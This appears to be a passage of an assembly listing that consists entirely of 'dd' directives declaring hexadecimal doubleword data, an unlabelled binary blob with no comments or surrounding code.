		dd 0FE5B709Ch, 2D003672h, 1190915Ch, 0CAB8B4h, 7F40970h
		dd 0D82CE14Ah, 0F5047115h, 0D62600A8h, 0A93C137Bh, 0A4695032h
		dd 858D2EC9h, 534B4228h, 5989A8A0h, 3A0037A6h, 148D9043h
		dd 558BBDh, 87ADE55Ch, 95C1830Ch, 39FA9200h, 0C4F3442Eh
		dd 99A301F1h, 0B77FBC2h, 0A8C8407Ch, 6D3EEAFCh,	0A728802Ch
		dd 0A19D4656h, 851D00FEh, 168354E2h, 78C0529Bh,	39B19E72h
		dd 5DAD00B7h, 11958069h, 991653F6h, 5000E877h, 90630F85h
		dd 241072E3h, 686247h, 0B7164B07h, 994ADEC4h, 0BFEE0C00h
		dd 11E60E5h, 1A696B6Fh,	809FA819h, 0DA8EEB40h, 0F250C11h
		dd 0DC732AD0h, 0C038BEACh, 0A9163Fh, 45E159F5h,	5C7B329Bh
		dd 403D484h, 60388DCEh,	14C473A0h, 0D7769200h, 72697867h
		dd 27A0A868h, 0ECB000Dh, 0CE817186h, 95706E25h,	0B9343F00h
		dd 6676FA3Ch, 92D21887h, 7A78D8B2h, 1462D60Ch, 0C58903h
		dd 945CF44Dh, 7C19279Ah, 71A24700h, 0B0B610C3h,	177A002Dh
		dd 12C4A720h, 48C078D6h, 0D813B537h, 0F39601DFh, 0F927ACEFh
		dd 4708DCB6h, 0A26E57Eh, 6A80E430h, 2BAC0128h, 73433DEBh
		dd 0A61ADA00h, 784CFC35h, 14C05F00h, 8E23A9A0h,	1C81F2CDh
		dd 8054FA65h, 562FA248h, 5A01F06Dh, 82677BE4h, 1860A7BFh
		dd 0D3C205D4h, 80F7896Bh, 95834759h, 8F483300h,	0F50AAF3Eh
		dd 0E3510BF8h, 0D38EB1ABh, 0A2C6DDE0h, 2578B03Dh, 3C0EDC00h
		dd 4A208010h, 92F207F4h, 2032C616h, 75A0552Ch, 0B69C7E05h
		dd 98002960h, 0BD8F610Dh, 835C0AECh, 6884721h, 2016A3F4h
		dd 542D2501h, 0E08B2293h, 0C1AC6881h, 81554858h, 47C4A811h
		dd 0D28E965Bh, 0AEA0C3F9h, 1F4C098Bh, 38BBA502h, 4081DF9Ch
		dd 761D21CCh, 5E6000ACh, 2F2547EBh, 62169F52h, 161E9061h
		dd 0F685A840h, 77B4E5h,	0A17CC68Bh, 78B3FD4Ch, 0AB00F894h
		dd 0A7EEF75Ah, 63B6242Dh, 0DE5504CCh, 877F00D9h, 761DE95Ch
		dd 0D068496Eh, 13298300h, 0B61CEBCh, 9B4D8500h,	0A92E3351h
		dd 0F87274h, 0FD682A58h, 0C7F5ED2Bh, 3C4E6900h,	5E89C1AEh
		dd 0C01F7AEFh, 0D63BDBBEh, 2C097153h, 60886306h, 4C3423Ch
		dd 0D1AA03B9h, 0E26CB084h, 3756130Ch, 7BD50F9h,	87B407C2h
		dd 0C809E910h, 0F0EC818h, 5B52E00h, 7BE66E89h, 15EAA5h
		dd 2581D15Ah, 0AEF146AAh, 0D7CCB450h, 0C99C2B00h, 912854F5h
		dd 0E2B70318h, 5D17D62Ah, 9A75B490h, 0A22E0800h, 0C948B655h
		dd 6A5F0011h, 232F76E7h, 4F72AA02h, 1FD2AF05h, 98934601h
		dd 0CCDF9853h, 0D85C1219h, 548800A9h, 800AC15Fh, 0D628E883h
		dd 0E2AA40A8h, 24003598h, 0FBCC63B3h, 9345DFh, 0B4B7FD1Eh
		dd 0ED485740h, 3B711803h, 0B0F05586h, 309B322Eh, 11908122h
		dd 0A10128D5h, 0AA3FB42Ch, 8820ADF7h, 9B1A1CECh, 0F50E06FCh
		dd 8D02F87Ch, 0CD210C10h, 0B30540A3h, 0D0706Eh,	9C3EF2AAh
		dd 0A9E18FFh, 50CB9107h, 7C2053ABh, 0F8E3D7h, 763189A4h
		dd 0BC438F5h, 0AFF0E02h, 0C083DB68h, 3C09A60h, 5BFB63ECh
		dd 98C0F361h, 3D24BEF1h, 2F102416h, 7906580h, 0C4383934h
		dd 724B03A5h, 0B81A54DEh, 805D112Ah, 4C00BD7Bh,	6CC56F83h
		dd 355FF4Eh, 81B5158Fh,	0D0000359h, 0A9845C06h,	0C12EE5FBh
		dd 94557760h, 0BF97D06Dh, 24293B60h, 0E4BB9ACh,	0CFEEDE79h
		dd 66300076h, 0E0378839h, 2800D8B0h, 2C84AE05h,	63199001h
		dd 35E55059h, 808DDEC1h, 62DB8748h, 98557C3Fh, 0A6510704h
		dd 6C2021BFh, 0BB0012A1h, 0C258C484h, 147C8E7Dh, 0E3056082h
		dd 0FCCBB854h, 0BB55062Bh, 92B80D4Dh, 0FCA43C0Fh, 0A95E0E6h
		dd 9803F7h, 2352A884h, 58F1C196h, 249D2C00h, 0EBDBEEABh
		dd 992F006Ch, 90FD913Ah, 6A00830Fh, 1CF562AFh, 389F31h
		dd 6E657FD5h, 8D2B5909h, 0F4C62325h, 0E7DA00D1h, 7060EC97h
		dd 0B0268126h, 3F775E01h, 48C0AF5Bh, 0FE41D73h,	24DF0022h
		dd 9C70B176h, 6FB46104h, 0BC1A295h, 44283E7Bh, 0D57CE400h
		dd 0B21FC363h, 0BEA7DF0Eh, 1870A10Bh, 90DFC4B9h, 0FE48C01h
		dd 32257497h, 569A1C60h, 221E7962h, 90CAB60Bh, 5780F440h
		dd 0AD9EB943h, 2E72C2Ch, 5FFA80B4h, 794A2CEh, 560F3Ah
		dd 0DA7FCD6Eh, 0BE1227h, 665D87B1h, 448AEE4h, 4935D8A0h
		dd 1E5C9701h, 8199BD19h, 0EE199Dh, 44029BACh, 2500C075h
		dd 9DFF2DA4h, 0E642F2Bh, 8424F671h, 40E81CB3h, 41CE43C2h
		dd 444A496Eh, 9AE18802h
		dd 0FFCC85Dh, 0AF89008Ah, 0A6FD63A1h, 7D1E3357h, 0D684B0F3h
		dd 60B9F71Ah, 6890532Dh, 0C2308BF6h, 0DBD5CA6Ah, 12FA0FEAh
		dd 0DFC7628Ah, 85CFD06Dh, 0B4A87191h, 42182DA2h, 0B541A7E9h
		dd 0F9AC173Fh, 0EA7C00E8h, 50384EA1h, 0E154B3Ch, 0C9B3CBh
		dd 0BE13778Fh, 0CEB903F1h, 0C768C7Fh, 0CBB4CAB1h, 0BF161100h
		dd 7ACFB6CCh, 875008Dh,	9841F645h, 0E4258E07h, 908AB28h
		dd 5D9849ECh, 0D156F0h,	1A5ACE51h, 0EA7F0CFDh, 4E310A0h
		dd 71D18210h, 6628D330h, 20DEA3A6h, 8610A918h, 84D018A4h
		dd 0EC0120D5h, 99E6100h, 0C26F4264h, 35B51AAFh,	5A408186h
		dd 930E89DFh, 0AF5653Dh, 0FD0308EBh, 1CD557BDh,	9D35358h
		dd 7468C36Dh, 8096212Bh, 4CAA6B82h, 490588Ah, 2ADF65B5h
		dd 0AD123425h, 799092h,	0FBB84FB3h, 2CDBA800h, 3A491CA7h
		dd 48110004h, 0FAEF81E8h, 1A60E71Dh, 7EFB0839h,	634C00A2h
		dd 0E9D5BA78h, 0FE8A6CEh, 0A3C06D13h, 0FB0E2CC0h, 598406A0h
		dd 1801252Fh, 5E02E31Bh, 0E6ECB849h, 70D9298Dh,	0A348B3ACh
		dd 721209E0h, 753FC700h, 4C7A656Eh, 40A7974Ah, 0BD73406Fh
		dd 994B03E3h, 1CB23081h, 2BA80881h, 0F152FBB0h,	4B0480Ah
		dd 15E2D900h, 0A11EDA55h, 36E91D8Dh, 0ECD11494h, 8C338080h
		dd 2C38E4ECh, 0A938E034h, 97647685h, 0AEE77823h, 30A4C103h
		dd 0E0ED3BAAh, 770891BEh, 31D00077h, 81CD10E5h,	0E7309084h
		dd 492F3156h, 0F61A0F92h, 0DA6340E2h, 0B8B13733h, 5F6720E4h
		dd 7291C5Ch, 59FFFB18h,	0DB102713h, 1A3C82Bh, 3A8E0B41h
		dd 12808D0Eh, 0E536BE7Fh, 7703B20Ah, 9B3F746Ah,	0D7D163D4h
		dd 4C7C0771h, 0D544202Bh, 0C2001F48h, 4054E513h, 1938BCh
		dd 8A294161h, 7F8C63FEh, 778F6D50h, 0E955900h, 2B4E8B2Dh
		dd 8D851D23h, 12989DDFh, 8724E4D7h, 7FF96D1Dh, 5812C0E8h
		dd 3850D0E1h, 0CAA22F8h, 0A4056DD5h, 67004089h,	7254DF13h
		dd 734515Eh, 0AC934631h, 0C0D14397h, 9FA22DC0h,	0ECB9B32Ah
		dd 9647A500h, 0D9D38AD6h, 0C0B50758h, 90E0AFEDh, 0AC5741B4h
		dd 0F6006D78h, 527BA191h, 0FDFF0F9Bh, 0B05A80DCh, 3D8F03C3h
		dd 91E04C53h, 3FA7E0FFh, 4F0028BDh, 0EF0D576Dh,	7CFD979Eh
		dd 46A91DF3h, 4C528027h, 58CD2E0Bh, 0D91A500Dh,	0B3F171BCh
		dd 0EB044Bh, 44C4A7A9h,	0C3564FDCh, 107AB918h, 96E047E0h
		dd 0F60A8700h, 549A79F5h, 3DC004Ah, 0B8CB618Ah,	29C812A9h
		dd 9EEC42AAh, 2589FF22h, 0AE280823h, 24914B42h,	0FDBF202Bh
		dd 8C281AAh, 0C714A1FCh, 0F9A72841h, 84E62990h,	0B348925Dh
		dd 2EFA7F42h, 0E68D8490h, 2143EF48h, 0FEA12101h, 94A14A08h
		dd 0C618149Bh, 861251F2h, 25A3EA8Bh, 22640477h,	14364AEFh
		dd 90A0B908h, 0E8A98463h, 3E08215Fh, 845F90A2h,	4E48EB39h
		dd 0A000DDA6h, 0FA773797h, 0C9590040h, 7A410996h, 0A201ABF5h
		dd 54645D07h, 14F80FE5h, 0AF942E17h, 0C80C00CDh, 55E91BFFh
		dd 3900E073h, 77A06961h, 5E25EDh, 0E74496C3h, 97BAD349h
		dd 8F090771h, 56185Ah, 239F29ECh, 6713008Bh, 70AD6F9Dh
		dd 4D00525Eh, 1966087Eh, 79E740Ch, 36A8A7FEh, 940F9013h
		dd 8202EF03h, 6B520B2Ah, 0F00FE066h, 0CC540069h, 0D648FA89h
		dd 940065A9h, 210A8BA3h, 240328h, 0DB2F9CA2h, 0C8FA95B0h
		dd 60A32624h, 22F61380h, 380DEBh, 6E7FA0D0h, 59248469h
		dd 8A8F003h, 0A0F8993Eh, 7A94F231h, 2C400020h, 0C92534E9h
		dd 520282AEh, 0C4607FC1h, 938C4838h, 8D800051h,	46476E2Dh
		dd 6A00626Bh, 9473D15Dh, 75103C8Ah, 0AEC9Eh, 0F32FEB44h
		dd 0B9D1C7EAh, 157D00Fh, 8F2240BEh, 0E4DD14h, 937FE0B1h
		dd 0AFF8B519h, 0E8CB8900h, 6E2A81D8h, 0B64B1E80h, 839B81C4h
		dd 0EA84BD3Ah, 2771EEC0h, 918A9500h, 0D11B2230h, 0F223009Eh
		dd 9A15D381h, 2C00C9DDh, 343F7829h, 0CBCF04h, 50F27789h
		dd 2FB36A3h, 5D7C751Ch,	0D39387C0h, 1D85988Dh, 4F3AA1F3h
		dd 94211D04h, 0DC5D2DAAh, 0EF07B450h, 0F527EED1h, 9D80AE10h
		dd 17270BDh, 1183F1FFh,	308EBC7Fh, 0F400B3C4h, 0A142470Bh
		dd 6C582Ch, 857C4DC0h, 6F63D06Bh, 75C548h, 1ED34F97h, 0C8D287h
		dd 0E7B1A786h, 0F42D8E27h, 80BD6B3Ch, 3CBF5099h, 0E122E5h
		dd 0AEB5D848h, 7F1895A8h, 44456C00h, 29984FE9h,	39C30091h
		dd 0F3C19611h, 2228CFE5h, 0DBE3CC74h, 0C0C863A1h, 4F180737h
		dd 3E08E4D1h, 552E382Fh, 4C0B280h, 261D0C98h, 849F1B28h
		dd 487C0800h, 5DCD9153h, 0EBC9090Dh, 3E007FF3h,	333D87EAh
		dd 98124Dh, 2A93A81Fh, 90F627h,	0E1EFCCC0h, 0AAC80114h
		dd 30FCE70Ch, 779070h, 2E9723B0h, 75E0FBCBh, 9D82D51Dh
		dd 8340699Eh, 0F82C551Eh, 58EC00D8h, 194BCDCh, 440093F6h
		dd 0FCCA8CA7h, 3515Ah, 5B564374h, 0B4AE9CB2h, 3E23D900h
		dd 0C9BC459h, 4B7CA6h, 21A96AD5h, 0B1DA5B33h, 72AEF101h
		dd 79DC39E8h, 111630h, 593D553Ah, 4FC088Fh, 0FF91A02h
		dd 4044DFACh, 1CC385A8h, 4C5A5B7h, 808161F3h, 0EF27A700h
		dd 0EA0F78F0h, 0C0A0CBABh, 7F5FDE68h, 87860095h, 0EDA4939h
		dd 9F008D16h, 0DF4B3F9Dh, 340971h, 0A8F1783h, 82526A50h
		dd 1A0229F0h, 7F3F2419h, 0F8346847h, 0C9B11DACh, 3A94E477h
		dd 94C1CB80h, 0DD6848D7h, 83F30C05h, 0E0030A93h, 804CCD65h
		dd 986CC307h, 698400B8h, 0A655C101h, 28FE7F89h,	0F4C7D81Eh
		dd 3A97CBC0h, 731E24BBh, 0AC23007Eh, 95BDC4DEh,	2F006C37h
		dd 0E4E7DB0Bh, 0EEBE357h, 0EA56EDECh, 0FD08CFC0h, 40000A85h
		dd 308259C6h, 5C76E93Bh, 5500D241h, 0E1D89916h,	9203EDF0h
		dd 75E6DD73h, 8F2CA0ACh, 386F71FDh, 0FA07F715h,	103D4E33h
		dd 4B3830F2h, 622AA000h, 2EBED2A9h, 553C3D34h, 0AAF612h
		dd 683DBB34h, 20F16DB3h, 3F00B0E0h, 6167B51Eh, 0B96FDCh
		dd 3C6B425h, 0AA8E2362h, 0D07A8801h, 890786DDh,	1639420h
		dd 0C480EBCEh, 0EC8E3B48h, 511C8C7Ah, 6D40AF56h, 204EC0B0h
		dd 3D5E0FDh, 2D23FC5Dh,	0C1C83DD2h, 7E078F04h, 0A1BFE69Bh
		dd 2655F740h, 682801E0h, 0EC274FB6h, 2245306Eh,	1166C502h
		dd 40648B04h, 0D62191h,	5D265C97h, 0E205A0AAh, 71602201h
		dd 21CB1079h, 73865CCh,	0E462E32Fh, 397EB075h, 721F8D04h
		dd 70011A52h, 81BBBA8Bh, 0A9C60880h, 3FBEF5F3h,	2C9F0200h
		dd 9B512AABh, 6D40003Eh, 7698960Bh, 9202ECB6h, 4A43ED0Ah
		dd 0EED46036h, 7B461F52h, 0BADE81B8h, 0E4E82192h, 0B70970E0h
		dd 80C899EDh, 0D4C56274h, 0DCB312FFh, 5A125Eh, 0BA878074h
		dd 0A9006CC7h, 0CA0FE0DFh, 5971811h, 40E3E6ABh,	10A887F0h
		dd 0A9F4A5AFh, 23ED4C07h, 5BF06C35h, 868811h, 0EC6E0B29h
		dd 1CD0A3D4h, 0CC137498h, 28203919h, 0E085F98Bh, 1453711Fh
		dd 0E408C4AAh, 0D98D90Eh, 2F3249C1h, 21902011h,	0BB67F202h
		dd 61DD05C3h, 0BCD476FCh, 289F0013h, 0C2B4CC1Dh, 0AB008F24h
		dd 0D8D0A19Bh, 175C7A7h, 49D94AA4h, 0C8EDB5BAh,	0AA02FE1Dh
		dd 0F289C891h, 0FAF40DDh, 0C043003Ch, 61F03F9h,	0D300BCEBh
		dd 0BFFF9AA1h, 1A48DCFh, 0BEC96AF0h, 0D062396Fh, 4B00608Ah
		dd 69666371h, 0D66490h,	39BF2FB4h, 374FA279h, 0C8344900h
		dd 0C4BA4E80h, 1D31009Eh, 5AD6DA0Fh, 7D01D150h,	6A619188h
		dd 2670402Fh, 3E6970AFh, 5FBE8A6Eh, 0F400B9BBh,	36589CFDh
		dd 9B094EF1h
		dd 8045BEF3h, 0D7E26560h, 0A0250284h, 0BC60DE94h, 938F8848h
		dd 0CAF6C9h, 7ECB5388h,	7ADF007Ch, 0A91A27A6h, 760EAF7Bh
		dd 33DBF6Ch, 0D92E80ABh, 60308697h, 0DF117AAh, 710C4052h
		dd 0F8EFD26Fh, 81D3560Bh, 0AEB9803Ah, 0B9D81Ch,	6E837619h
		dd 0F05E1D91h, 0DA64400h, 5ADE6772h, 0B16F0357h, 0A5423C62h
		dd 0C05E29E1h, 331C32AEh, 6E5CDFCEh, 1D5BD541h,	75CC35A3h
		dd 88420336h, 5754E104h, 0BBF61B8h, 73845E00h, 0F7F86B6Ch
		dd 1B39003Dh, 0CE36F993h, 0D8050A05h, 8AAE9E0Ch, 0A2C22CC0h
		dd 0A8811F78h, 4795C1B1h, 0BA7D6A12h, 86DF8096h, 777F636Bh
		dd 1582000Fh, 0C01E17FEh, 0F860B980h, 7ED6E97Ch, 96FC2Ch
		dd 0F5C2F1FAh, 41E5721Dh, 9B2A2300h, 50D3D6A3h,	0BF090EFEh
		dd 6EA0B5E9h, 611C3DB9h, 4C56A900h, 0BE8C1127h,	294E0589h
		dd 8123AC70h, 0CC6573CBh, 3900A56Bh, 760FC318h,	0E9E823Fh
		dd 0D1D446C4h, 958D23C0h, 0D2007F8Fh, 64D09CDFh, 98A3A240h
		dd 8A0D106Ch, 3996B0D3h, 0F7F42C6Bh, 83FB00D0h,	322C2A91h
		dd 121A871Dh, 2E3A9B00h, 27F0Dh, 0CE4001B0h, 3DDA2BC9h
		dd 0D57D8800h, 0C57A7B38h, 0F26D0062h, 1385D756h, 2000A580h
		dd 4E65729Ah, 59E4B9h, 936C3010h, 3EEDDC7Eh, 0F0776628h
		dd 89DB3813h, 22D16807h, 1A2AA640h, 4C8A728Eh, 0F700B4DCh
		dd 797A0D2Dh, 50008FD3h, 83AAF94Ah, 798DACC6h, 2C1A0002h
		dd 56FA1938h, 2277EB33h, 0C91F7C90h, 8A0E524Fh,	0E542200Fh
		dd 3CB6849h, 5D1E0ABBh,	0F58867CEh, 0F1045427h,	3AE95AFBh
		dd 0FE2D2F80h, 0F0411EFAh, 3F0B8123h, 0C1D56213h, 1E7C2097h
		dd 51D68C11h, 215F6C0h,	28009B36h, 371CAB14h, 77C3932h
		dd 0AC2B057Bh, 3F6BF15Eh, 273830A2h, 3B0A1200h,	0C7F8F042h
		dd 9D85005Ch, 0ED867A04h, 0D8005244h, 881FB099h, 0B82E629Ch
		dd 7F310067h, 0B272BAABh, 2377CCC4h, 0ECFADD00h, 375885Bh
		dd 0BCFB0161h, 0C8E35C4Ah, 0BD906067h, 0E90081B8h, 953C8DFCh
		dd 46C29Dh, 0FB54D0CBh,	0A83F452h, 5D268479h, 9000F0AEh
		dd 5CD7CAB7h, 0F0C00F9h, 0E9E0B99Ch, 170BFC46h,	0BF9112h
		dd 0F57E8AA4h, 1D360324h, 0DC64F3A2h, 18214B98h, 7AF9B70Bh
		dd 70AB87DEh, 0F0C03194h, 946A699Ch, 982B4240h,	0A602B160h
		dd 0C4B68200h, 0AC255F6Bh, 6388A196h, 1FC561ECh, 87F23A80h
		dd 43787764h, 75880E76h, 28C09768h, 2F100F9Fh, 9C11C013h
		dd 0D7F2C78h, 8052F139h, 0DB8415ADh, 947B76FCh,	0D86B005Ch
		dd 713CA762h, 0C611C700h, 86380772h, 0F6C300D0h, 3F0CE622h
		dd 620995D3h, 61BC5E75h, 87303878h, 47A800D6h, 6B354278h
		dd 12174685h, 0D840F765h, 0F3A7DEB8h, 0C5010E88h, 79F8BD58h
		dd 2703BBC4h, 0B4EFCE6h, 0D0A6B036h, 0BC20FB25h, 0EA54B8ACh
		dd 18121123h, 51796022h, 34416471h, 8041E63Fh, 0D70C31E1h
		dd 40704F31h, 44C4FDBBh, 0D2870019h, 9CFA1EC7h,	0EC24DB4Dh
		dd 0EE1DFD48h, 800FD000h, 163CBD3h, 0C9099CC7h,	0CE69142Eh
		dd 735FD3C0h, 79F07800h, 0E3B8DF82h, 0D22300EBh, 0ECDE8BA2h
		dd 0CE13EA32h, 0C4000E6Ch, 0E42B804Ch, 0CC5900E6h, 0AC830307h
		dd 0FB00C3B4h, 93B8F5EEh, 87DD4Bh, 77C8C124h, 826B3C1Eh
		dd 0DCDE9950h, 0AEA17600h, 2F482102h, 0E4D9005Eh, 3B1BE869h
		dd 8E3B5103h, 285500A0h, 89197154h, 18A3002Bh, 1ECB3EA2h
		dd 0C50963DAh, 0C8F9219Eh, 7C075F28h, 0B25B00AAh, 0C7E925E7h
		dd 6C00278Ah, 9CF768FAh, 0C0B9FBh, 0A37D61A6h, 13E458D1h
		dd 0CAEDDCFBh, 0D0E9C201h, 62490E03h, 85DDD4h, 0C4BD14E2h
		dd 0F18C5D5Eh, 0CE090177h, 0C3AE2296h, 0C51EA880h, 80B448C8h
		dd 8B5CD130h, 83007F37h, 9851232Fh, 5BD017h, 76603D6Dh
		dd 140728A7h, 17D525Ch,	469804C7h, 104C6E86h, 8F690059h
		dd 999B4B8Ah, 0D70FF121h, 0E066A2C3h, 0DAA5493Ah, 20120002h
		dd 0A1A9B9EEh, 0A600E804h, 553EAAADh, 0DABF70h,	81E58D86h
		dd 0B7F53A35h, 0FE21DB02h, 0E1980990h, 0A83031B7h, 124DF804h
		dd 1D3DB017h, 55B98040h, 1FCBA51h, 14BA94Ch, 4F108A4h
		dd 2E20EDEBh, 77D20F42h, 0C9C0D706h, 0B92CC4Dh,	8917AB74h
		dd 54006ACAh, 73FAC148h, 24611D3Eh, 0BE2EC0C5h,	0CF82CB8h
		dd 0AEBDAC03h, 0C87469B3h, 739770h, 0EF7DE5DCh,	0E6A4B4C4h
		dd 8FB61309h, 0D2ACC065h, 304D2661h, 94F400ACh,	5A929663h
		dd 0A1984000h, 0A6AA97DFh, 0DB0B2h, 8CA9B1D9h, 63C3281Ch
		dd 38F65500h, 7C431596h, 14750569h, 0C0D53C2Fh,	8A93100Fh
		dd 0CF00F678h, 0BE6E3081h, 78F39DA4h, 0FB5EAD9h, 0BFC37BFAh
		dd 49EACA0h, 989E7CC7h,	8651803Ah, 714AE38Fh, 80B60031h
		dd 0BB4EF015h, 403C1DEh, 19A7D8Eh, 413000A2h, 3AFC454h
		dd 0F20231C5h, 68C1B92Dh, 87B842DFh, 1960A9E4h,	2C2491A8h
		dd 1C380Bh, 23EDB7E7h, 1E58C1EBh, 4E2D0F9Ch, 0AFFFA159h
		dd 40E204DAh, 1E4A383Fh, 814F240Dh, 2BC80FFCh, 7CC47010h
		dd 0AAAED502h, 0E06AD06Ch, 0B8EA05h, 3FFDA3C8h,	0C02184D6h
		dd 0A2980CB0h, 0F6013D72h, 0D701F0B8h, 0AADC5857h, 0CE9A0199h
		dd 4BD52183h, 0F46DD479h, 86438800h, 0EC2D3FBEh, 8A890EE6h
		dd 16A7930Ch, 1C40DF41h, 50B91027h, 2C8CF000h, 34D3A4F7h
		dd 6751F9Dh, 6FCF421Fh,	908E3C9Bh, 0F1DC0033h, 6A474411h
		dd 71705D00h, 364303E3h, 6E460125h, 2C302D8Fh, 0E153C019h
		dd 0FDDB5200h, 0BA030615h, 0C15B00C8h, 5A3B2793h, 9C58D8DDh
		dd 945601E8h, 4ABE61FEh, 9BDC30h, 0C3BAE496h, 2740F3D5h
		dd 68154507h, 8C4047CFh, 70FBC2h, 3126012Eh, 275380B7h
		dd 0D70CB1E0h, 0B03F6337h, 80B09409h, 2485D0CFh, 8B17A989h
		dd 0D407CA7Bh, 0B510A70Dh, 4B294E7h, 7AAE1B38h,	3BB8A063h
		dd 80B1023Bh, 0D47E4BA9h, 604094A5h, 4DDEB09Bh,	0AB7FB516h
		dd 41DD72Ch, 9AB05180h,	40F2BEE4h, 67006278h, 44E36C11h
		dd 84A46Eh, 0D7770C2Ah,	8C8A1D5Fh, 72550300h, 0DC5B51D3h
		dd 83FE02FAh, 0DD0B1234h, 0B1E33C40h, 0CC98F3F2h, 4807B2Ch
		dd 0E07D100h, 7D4BF63h,	72C4B967h, 99F93057h, 7F008336h
		dd 0F49CDDBCh, 0A0D7E1h, 49888D0h, 0BE2CE891h, 0C4BB7900h
		dd 0E5DEC997h, 0AFBF1267h, 23F701E7h, 70CB2E83h, 3E397F0Ch
		dd 445A8035h, 8CCA7E21h, 6A3A07F5h, 470552B1h, 89A3A094h
		dd 0C577B879h, 74E4980Eh, 2E0620F8h, 0F414B7E9h, 0AC709DFh
		dd 0DF494E2h, 938E7C01h, 3FCCF38Dh, 0B211015Ah,	510D2C20h
		dd 588CD88Fh, 390B53B8h, 5A77F77h, 3C1131Ch, 0D7E402CBh
		dd 963603C8h, 0FF3A1424h, 0ABC598C0h, 0E96DDC1Eh, 3E635F04h
		dd 9EA2008Fh, 0BAE96218h, 46730934h, 42EE33Ah, 8DD25BE0h
		dd 4C14239Eh, 2E96C658h, 0D7246492h, 80F2A70Eh,	0F323B62h
		dd 613A001Ch, 4F1E2457h, 0FF00F744h, 59C1B189h,	79FE66h
		dd 0DC9BBE9Eh, 3E191EE9h, 0FBDE5000h, 5F7463C7h, 4CBAD3h
		dd 89986E3Ah, 0B649C544h, 5266EE14h, 23080084h,	0F6D16110h
		dd 60AB4CDCh, 1AD72E0Ch, 0F07A7B1h, 10F1D586h, 4FBA0A0h
		dd 1D220058h, 394ECB35h, 16002146h, 6B435623h, 6475C8Dh
		dd 95AAB524h, 810138D4h, 0B1C9C41Fh, 0A83476F9h, 15220251h
		dd 480FD1A9h, 1D889482h, 67730160h, 0A3503B00h,	9989F222h
		dd 0FEBA009Fh, 374DEB44h, 9E37B2B7h, 1BA3A131h,	0E9210117h
		dd 19300B77h, 0F4B0408Ah
		dd 0C6003983h, 998F6CAFh, 60A0F084h, 0A71C38E1h, 90A8E581h
		dd 9FE803C8h, 0FBF36205h, 14907DB6h, 1F4DAE8h, 0A527FFCh
		dd 0C3E1C59Eh, 0AEB486A8h, 63D0A906h, 71A06Ah, 0F63E4EA2h
		dd 2596ABD1h, 0F4980563h, 0D8210026h, 484C0D97h, 0D6048577h
		dd 43F4230h, 46166CA8h,	0C6190089h, 827C07BAh, 5A293B01h
		dd 0FEBDE9EFh, 0AD00707Dh, 0B67B2758h, 25067CFFh, 87F47057h
		dd 921E48C8h, 32790074h, 71B77FD2h, 9008078h, 39585529h
		dd 126DBA64h, 42B0A3F7h, 0FE718F50h, 28BB0048h,	0F8E4ACA8h
		dd 6B63030Ah, 2C00C09Eh, 37557F04h, 78B52A2Fh, 0B4E92A90h
		dd 288487F4h, 27940028h, 0F5FFA28h, 6B00D758h, 0C1EA2A7h
		dd 0BA373Bh, 1FDEF895h,	0D99CDA2Dh, 0B6B36A00h,	0CB60F52Ah
		dd 0A6B450E8h, 5E440028h, 66F2C026h, 0B50018E2h, 47A6C2B8h
		dd 7DBEB173h, 0CEFD2494h, 61120190h, 0FC1D8BD4h, 9201B37Ah
		dd 76C7AF28h, 0A9F0A003h, 194419E4h, 7067116Dh,	0AF022123h
		dd 66607CB2h, 52C5683h,	4BBA61F1h, 60606E94h, 780570C5h
		dd 29567ADFh, 475E4E1h,	4D98015h, 484CF6E0h, 1AC35834h
		dd 11012071h, 26290F9Fh, 3C70FFFAh, 5E520473h, 4D2288h
		dd 631223ECh, 813900D2h, 1D89CAFDh, 46002FA8h, 61DF6471h
		dd 0FB7014Ch, 43CE3231h, 71EEC947h, 0E1FB7C29h,	0C55F2055h
		dd 75873C04h, 73815928h, 0B9311D63h, 2A94E000h,	999A0046h
		dd 29D9CDCBh, 55FC6538h, 8FFD960Fh, 51B26089h, 3B8C13F8h
		dd 1A00A79Fh, 9635261Fh, 17715A53h, 9DE46A0Fh, 7D3FA09Ch
		dd 8A908Eh, 5750FEF4h, 7EC57A36h, 73B35A07h, 0C02F2F76h
		dd 18533D3Bh, 13E52E63h, 50D38828h, 423FF900h, 15F5A69h
		dd 0F854F260h, 0C8CC5B19h, 0BD38CD6Fh, 78458016h, 0AE82127h
		dd 0F3093C3Eh, 0EB2FDC80h, 0F8F24131h, 44EE5B01h, 90D00512h
		dd 46BD6E00h, 0AF008491h, 780F2D86h, 25530A75h,	80F8C316h
		dd 54F0675Dh, 0AE001AFDh, 12453EF9h, 72D85DDh, 2C259255h
		dd 309EF0EAh, 1F494843h, 597D00E4h, 0ABA56DD7h,	0CAC21C78h
		dd 0D2F4C070h, 89CBEE47h, 0F78FB800h, 3182D03Fh, 610C1D1Bh
		dd 4FF24020h, 0EB12E80h, 0FEEF5D00h, 6579CB9Ch,	0E5CF0E13h
		dd 23E4AA4h, 74643D86h,	9C241CD0h, 7B973C9Dh, 19951900h
		dd 39B8625Fh, 2F80C86Eh, 6CDA6377h, 789AA76Ah, 35EBE100h
		dd 8DB49906h, 9F5D008Ch, 780E6223h, 5900C4D7h, 0FC8275DEh
		dd 0B8BF50h, 0F07AD2F1h, 70473867h, 6C26DDECh, 0B873706Fh
		dd 585ADFB2h, 0F602654Fh, 1D400701h, 227638C8h,	2DA81005h
		dd 8493F34Ah, 0A37D92Ah, 39240464h, 0EE8382E5h,	1873662h
		dd 0BA6395A8h, 4198C9E4h, 2193E0Ah, 0E69AD4A2h,	59880194h
		dd 0F034AE27h, 63801161h, 626602C7h, 0C55B3C97h, 5425005Ch
		dd 6B4A225Eh, 0C08A4Ch,	8C9FCFBBh, 13C53992h, 0C173B45Bh
		dd 0E84FAD0Ch, 83602E45h, 3A3EAA59h, 0B41A7315h, 0D1930ECh
		dd 573D51C5h, 0C28CCC27h, 0C26E3E52h, 0E9E84010h, 0A130000Ah
		dd 0C988EA66h, 0D0DE9677h, 50C08A96h, 3785F6h, 0CF8C9111h
		dd 52436261h, 6F00A0B2h, 2DAA1523h, 285C1E9Ah, 44807566h
		dd 1D00AEABh, 44FBBA12h, 0D30948EAh, 553C3040h,	3006EC6h
		dd 0C8605B58h, 4594CC5h, 7BD4BEC9h, 0F080D282h,	38A0F066h
		dd 0B2228C6Ah, 575009Bh, 0A15BA1Dh, 0C8A8AE8Fh,	1E0073A1h
		dd 87938364h, 903CED5h,	7A796E34h, 92FCF880h, 6D01DDB3h
		dd 0CBC8E660h, 0E5301953h, 0FB061428h, 0C44DC857h, 0F834622Ch
		dd 0FB603E7Dh, 0AA2E3579h, 22F6262Ah, 9A440008h, 0AE0B82DCh
